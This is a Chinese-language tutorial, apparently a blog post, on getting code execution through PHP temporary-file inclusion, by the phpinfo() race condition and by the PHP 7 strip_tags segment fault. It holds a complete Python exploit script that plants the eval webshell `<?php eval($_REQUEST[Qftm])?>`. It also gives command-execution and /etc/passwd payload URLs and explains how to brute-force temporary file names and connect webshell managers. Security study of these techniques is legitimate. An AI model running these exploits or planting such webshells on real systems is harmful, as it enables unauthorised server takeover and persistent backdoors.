原理
假如在服务器上找不到我们可以包含的文件,那该怎么办,此时可以通过利用一些技巧让服务器存储我们恶意生成的临时文件,该临时文件包含我们构造的恶意代码,此时服务器就存在我们可以包含的文件。
目前,常见的两种临时文件包含漏洞利用方式是: PHPINFO() and PHP7 Sement Fault,利用这两种奇淫技巧可以向服务器上传文件同时在服务器上生成恶意的临时文件,然后将恶意的临时文件包含就可以达到任意代码执行效果,也就是拿到服务器权限进行后续操作。
以下是php临时文件的机制:

$_FILE 超级全局变量很特殊,他是预定义超级全局数组中唯一的二维数组。其作用是存储各种与上传文件有关的信息,这些信息对于通过PHP脚本上传到服务器的文件至关重要。
1 | $_FILES['userfile']['name'] 客户端文件的原名称。 |
在临时文件包含漏洞中$_FILES[‘userfile’][‘name’]这个变量值的获取很重要,因为临时文件的名字都是由随机函数生成的,只有知道文件的名字才能正确的去包含它。
目录
文件被上传之后,默认会存储到服务端的默认临时目录中,该临时目录由PHP.ini 的UPload_tmp_dir 属性指定,假如 upload_tmp_dir 的路径不可写,PHP 会上传到系统默认的临时目录。
1 | Linux目录:Linxu系统服务的临时文件主要存储在根目录的tmp文件夹下,具有一定的开放权限。/tmp/ |

1 | Windows 目录:Windows系统服务的临时文件主要存储在系统盘Windows文件夹下,具有一定的开放权限。C:/Windows/ C:/Windows/Temp/ |
命名规则:
存储在服务器上的临时文件的文件名都是随机生成的,了解不同系统服务器对临时文件的命名规则很重要,因为有时候对于临时文件我们需要去爆破,此时我们需要知道它的命令规则是什么。
防病毒程序与恶意软件
可以通过PHPINFO 查看临时文件的信息。
Linux Temporary File
Linux 临时文件主要存储在 /tmp/ 目录下,格式通常是( /tmp/php【6个随机字符】)
Windows Temporary File
Windows 临时文件主要存储在 C:/Windows/目录下,格式通常是(C:/Windows/php[4个随机字符].tmp)
0x02:PHPINFO():
通过上面的介绍,服务器上存储的临时文件时随机的,这就很难获取真实的文件名,不过,如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。
index.php
黑客与破解
1 | <?php $file = $_GET['file']; include($file);?> |
phpinfo.php
1 | <?php phpinfo();?> |
漏洞分析:
当我们在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存未一个临时文件。文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。
利用phpinfo的特性可以很好的帮助我们,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,拿到临时文件变量名之后,就可以进行包含执行我们传入的恶意代码。
漏洞利用:
- 利用条件无 PHPINFO的这种特性源于php自身,与php的版本无关
- 脚本语言
测试脚本:
探测是否存在 PHPINFO 包含临时文件信息
1 | import requests |
运行脚本可以看到回显中有如下内容
Linux
Windows
利用原理:
验证了phpinfo的特性确实存在,所以在文件包含漏洞找不到可利用的文件时,我们就可以利用这一特性,找到并提取临时文件名,然后包含之即可Getshell。
计算机服务器
但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。
利用过程:
这个时候就需要用到条件竞争,具体原理和过程如下:
(1) 发送包含了webshell 的上传数据包给phpinfo页面,这个数据包的header、 get 等位置需要塞满垃圾数据。
(2) 因为 phpinfo 页面会将所有的数据都打印出来,1中的数据会将整个 phpinfio 页面撑的非常大。
(3) php 默认的输出缓冲区为4096,可以理解为 php 每次返回 4096 个字节给socket 连接。
(4) 所以,我们直接操作原生的 socket ,每次读取4096个字节.只要读取到的字符里包含临时文件名,就立即发送第二个数据包。
(5) 此时,第一个数据包的 socket 连接实际上还没有结束,因为 php 还在继续每次输出4096个字节,所以临时文件还没有删除。
(6) 利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即成功包含临时文件,最终getshell。
(参考ph牛https://github.com/vulhub/vulhub/tree/master/php/inclusion)
**
Getshell
exp.py
1 | #!/usr/bin/python#python version 2.7import sysimport threadingimport socketdef setup(host, port): TAG = "Security Test" PAYLOAD = """%s\r<?php file_put_contents('/tmp/Qftm', '<?php eval($_REQUEST[Qftm])?>')?>\r""" % TAG # PAYLOAD = """%s\r # <?php file_put_contents('/var/www/html/Qftm.php', '<?php eval($_REQUEST[Qftm])?>')?>\r""" % TAG REQ1_DATA = """-----------------------------7dbff1ded0714\rContent-Disposition: form-data; name="dummyname"; filename="test.txt"\rContent-Type: text/plain\r\r%s-----------------------------7dbff1ded0714--\r""" % PAYLOAD padding = "A" * 5000 REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\rCookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\rHTTP_ACCEPT: """ + padding + """\rHTTP_USER_AGENT: """ + padding + """\rHTTP_ACCEPT_LANGUAGE: """ + padding + """\rHTTP_PRAGMA: """ + padding + """\rContent-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\rContent-Length: %s\rHost: %s\r\r%s""" % (len(REQ1_DATA), host, REQ1_DATA) # modify this to suit the LFI script LFIREQ = """GET /index.php?file=%s HTTP/1.1\rUser-Agent: Mozilla/4.0\rProxy-Connection: Keep-Alive\rHost: %s\r\r\r""" return (REQ1, TAG, LFIREQ)def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s2.connect((host, port)) s.send(phpinforeq) d = "" while len(d) < offset: d += s.recv(offset) try: i = d.index("[tmp_name] => ") fn = d[i + 17:i + 31] except ValueError: return None s2.send(lfireq % (fn, host)) d = s2.recv(4096) s.close() s2.close() if d.find(tag) != -1: return fncounter = 0class ThreadWorker(threading.Thread): def __init__(self, e, l, m, *args): threading.Thread.__init__(self) self.event = e self.lock = l self.maxattempts = m self.args = args def run(self): global counter while not self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter += 1 try: x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print "\nGot it! Shell created in /tmp/Qftm.php" self.event.set() except socket.error: returndef getOffset(host, port, phpinforeq): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(phpinforeq) d = "" while True: i = s.recv(4096) d += i if i == "": break # detect the final chunk if i.endswith("0\r\n\r\n"): break s.close() i = d.find("[tmp_name] => ") if i == -1: raise ValueError("No php tmp_name in phpinfo output") print "found %s at %i" % (d[i:i + 10], i) # padded up a bit return i + 256def main(): print "LFI With PHPInfo()" print "-=" * 30 if len(sys.argv) < 2: print "Usage: %s host [port] [threads]" % sys.argv[0] sys.exit(1) try: host = socket.gethostbyname(sys.argv[1]) except socket.error, e: print "Error with hostname %s: %s" % (sys.argv[1], e) sys.exit(1) port = 80 try: port = int(sys.argv[2]) except IndexError: pass except ValueError, e: print "Error with port %d: %s" % (sys.argv[2], e) sys.exit(1) poolsz = 10 try: poolsz = int(sys.argv[3]) except IndexError: pass except ValueError, e: print "Error with poolsz %d: %s" % (sys.argv[3], e) sys.exit(1) print "Getting initial offset...", reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush() maxattempts = 1000 e = threading.Event() l = threading.Lock() print "Spawning worker pool (%d)..." % poolsz sys.stdout.flush() tp = [] for i in range(0, poolsz): tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag)) for t in tp: t.start() try: while not e.wait(1): if e.is_set(): break with l: sys.stdout.write("\r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print if e.is_set(): print "Woot! \m/" else: print ":(" except KeyboardInterrupt: print "\nTelling threads to shutdown..." e.set() print "Shuttin' down..." for t in tp: t.join()if __name__ == "__main__": main() |
包含生成/tmp/Qftm后门文件
拿到RCE之后,可以查看tmp下生成的后门文件
1 | http://192.33.6.145/index.php?file=/tmp/Qftm&Qftm=system(%27ls%20/tmp/%27) |
然后使用后门管理工具连接后门webshell
1 | /tmp/Qftm <?php eval($_REQUEST[Qftm])?> |
包含上传文件
利用条件:千变万化,不过至少得知道上传的文件在哪,叫什么名字!!!
很重要的一点就是用条件竞争去写马
简介
有时我们在面对在服务器上找不到我们可以包含的文件时 我们可以尝试一下让服务器储存我们恶意生成的临时文件 该临时文件包含我们构造的恶意代码 此时服务器就存在我们可以包含的文件
目前常见的两种临时文件包含漏洞的主要利用方式是:PHPINFO()和PHP7 Segment Fault
利用这两种方法可以向服务器上传文件同时在服务器上生成恶意的临时文件 然后将恶意的临时文件包含就可以达到任意代码执行的效果
临时文件是什么
我们在php中上传的文件会保存到全局变量$__FILES里面 它是一个二维数组 里面储存了我们上传文件的信息
1 | $_FILES['userfile']['name'] 客户端文件的原名称。 |
这里很重要的是我们要知道name这个变量的值 因为临时文件的名字都是由随机函数生成的 只有知道文件的名字才能正确的去包含它
存储目录
文件被上传后默认会被存储到服务器端的默认临时目录 该临时目录由php.ini的upload_tmp_dir属性指定 假如upload_tmp_dir的路径不可写 php就会上传到系统默认的临时文件目录里面去
linux
linux系统的临时文件主要存储在根目录的/tmp文件下
windows
windows系统服务的临时文件主要存储在系统盘的windows文件夹下 具有一定的开放权限
C:/Windows/
C:/Windows/Temp/
临时文件命名规则
linux
linux的临时文件通查储存在/tmp/目录下 格式通常是:/tmp/php六个随机字符

windows
windows的临时文件主要储存到C:/Windows/目录下,格式通常是(C:/Windows/php[4个随机字符].tmp)

PHPINFO特性
在php当中 我们只要向服务器上的任意一个文件发送了带有文件数据的POST请求 那么php在执行这个页面的代码之前就会把这个文件接收下来 斌临时保存在系统的临时目录下 同时会把这个文件的信息存储到$__FILES这个数组里面
php的清理机制是一旦当前这个php及哦啊本运行结束 系统就会立刻删除刚刚的那个临时文件 所以我们直接来做的话既要想办法搞到临时文件的名字 还要去到有文件包含漏洞的页面去包含 我们第一步光找名字就够得找了
这时我们可以利用phpinfo这个页面根据它返回的变量信息去得到我们临时文件的名字 但是当phpinfo这=这个页面执行完之后这个临时文件也会被删除 那我们这里就要写一个条件竞争的脚本了
1.我们发送包含了恶意代码的数据包给phpinfo界面 这个数据包我们想办法把它塞得尽可能的大 这样处理它时就需要更多的时间 这样也为我们后续的条件竞争尽可能的创造条件 我们要在这个数据包的header get等位置塞满大量的垃圾数据
2.然后我们写好了的脚本这个时候就会读取phpinfo界面返回的临时文件信息 并且去到文件包含的界面疯狂请求 造成文件包含
利用ph牛的代码,不用重复的造轮子,直接更改脚本主要的几个地方就可以成功运行利用,如上传的恶意文件内容、phpinfo.php和index.php相应文件的文件名和位置、系统临时文件写入目录等
1 | exp.py |
Segment Fault
利用条件
- 利用条件
1 | 7.0.0 <= PHP Version < 7.0.28 |
漏洞分析
在上面包含姿势中提到的包含临时文件,需要知道phpinfo同时还需条件竞争,但如果没有phpinfo的存在,我们就很难利用上述方法去getshell。
那么如果目标不存在phpinfo,应该如何处理呢?这里可以用php7 segment fault特性(CVE-2018-14884)进行Bypass。
php代码中使用php://filter的过滤器strip_tags , 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不想phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。
漏洞修复
官方在PHP Version 7.0.28时已经修复该漏洞

官方php7更新日志信息
1 | https://www.php.net/ChangeLog-7.php |
Payload
更具漏洞分析构造可利用的payload:
1 | http://192.33.6.145/index.php?file=php://filter/string.strip_tags/resource=/etc/passwd |
这种包含会导致php执行过程中出现segment fault,此时上传文件,临时文件会被保存在upload_tmp_dir所指定的目录下,不会被删除,这样就能达成getshell的目的。
代码环境
测试代码
index.php
1 |
|
dir.php
1 |
|
测试环境
1 | PHP Version 7.0.9 |

漏洞利用
攻击载荷
string.strip_tags过滤器导致出现php segment fault
1 | index.php?file=php://filter/string.strip_tags/resource=index.php |

可以看到上面这种包含会导致php执行过程中出现错误,此时上传文件,临时文件会被保存在upload_tmp_dir所指定的目录下,从而不会被删除,一直存储在服务的临时目录里面。
攻击利用-技巧1
我们可以通过dir.php辅助查找生成的临时文件
编写 Linux Exp
Linux网络攻击环境下的脚本编写
1 | #python version 2.7 |
编写 Windows Exp
windows网络攻击环境下的脚本编写
1 | #python version 2.7 |
系统EXP利用
针对不同的系统环境运行脚本就可以RCE拿到任意代码执行

然后查看服务器上恶意临时文件,确实存在未被删除!!
1 | http://192.168.68.119/web/fi/dir.php?file=C:/Windows/ |

Getshell
由于我们上传的恶意临时文件没有被删除,那么就可以使用Webshell管理工具蚁剑对php2EFF.tmp进行包含利用。
1 | C:/Windows/php2EF.tmp eval($_REQUEST[Qftm]) |

攻击利用-技巧2
暴力破解
假如没有dir.php还能利用吗,答案是可以的,因为我们传入的恶意文件没有被删除,这样我们就可以爆破这个文件的文件名。
在上面的讲述中,我们知道不同的系统默认的临时文件存储路径和方式都不一样
- Linux
Linux临时文件主要存储在/tmp/目录下,格式通常是(/tmp/php[6个随机字符])
- windows
Windows临时文件主要存储在C:/Windows/目录下,格式通常是(C:/Windows/php[4个随机字符].tmp)
对比Linux和Windows来看,Windows需要破解的位数比Linux少,从而Windows会比Linux破解速度快,位数越长所需要耗费的时间就越大。
攻击载荷
编写临时文件生成和暴力破解攻击载荷
1 | #python version 2.7 |
对于暴力破解模块,可以自己添加多线程模块进行暴力破解,也可以将暴力破解模块拿出来单独进行fuzz,或者比较常用的做法就是将一些fuzz工具的模块拿出来添加到里面稍微改一下接口就可以直接使用。
推荐使用fuzz工具直接进行fuzz测试,fuzz工具一般都包含多线程、自定义字典等,使用起来很方便,不用花费时间去编写调试代码。
个人比较喜欢使用Fuzz大法,不管是目录扫描、后台扫描、Web漏洞模糊测试都是非常灵活的。
推荐几款好用的Fuzz工具
1 | 基于Go开发:gobuster https://github.com/OJ/gobuster |
fuzz测试,配置参数,我这里使用的是Kali自带的 dirbuster进行模糊测试

参数设置好之后,开始进行fuzz测试

经过一段时间的破解,即可得到上传的临时文件的文件名,同时可以在响应包中看到后门文件的恶意代码也正常解析执行。
Getshell
拿到我们上传的恶意临时文件的文件名之后就可以进行包含利用,同样,我们上传的恶意临时文件没有被删除,使用Webshell管理工具对php2EFF.tmp后门文件进行包含利用。
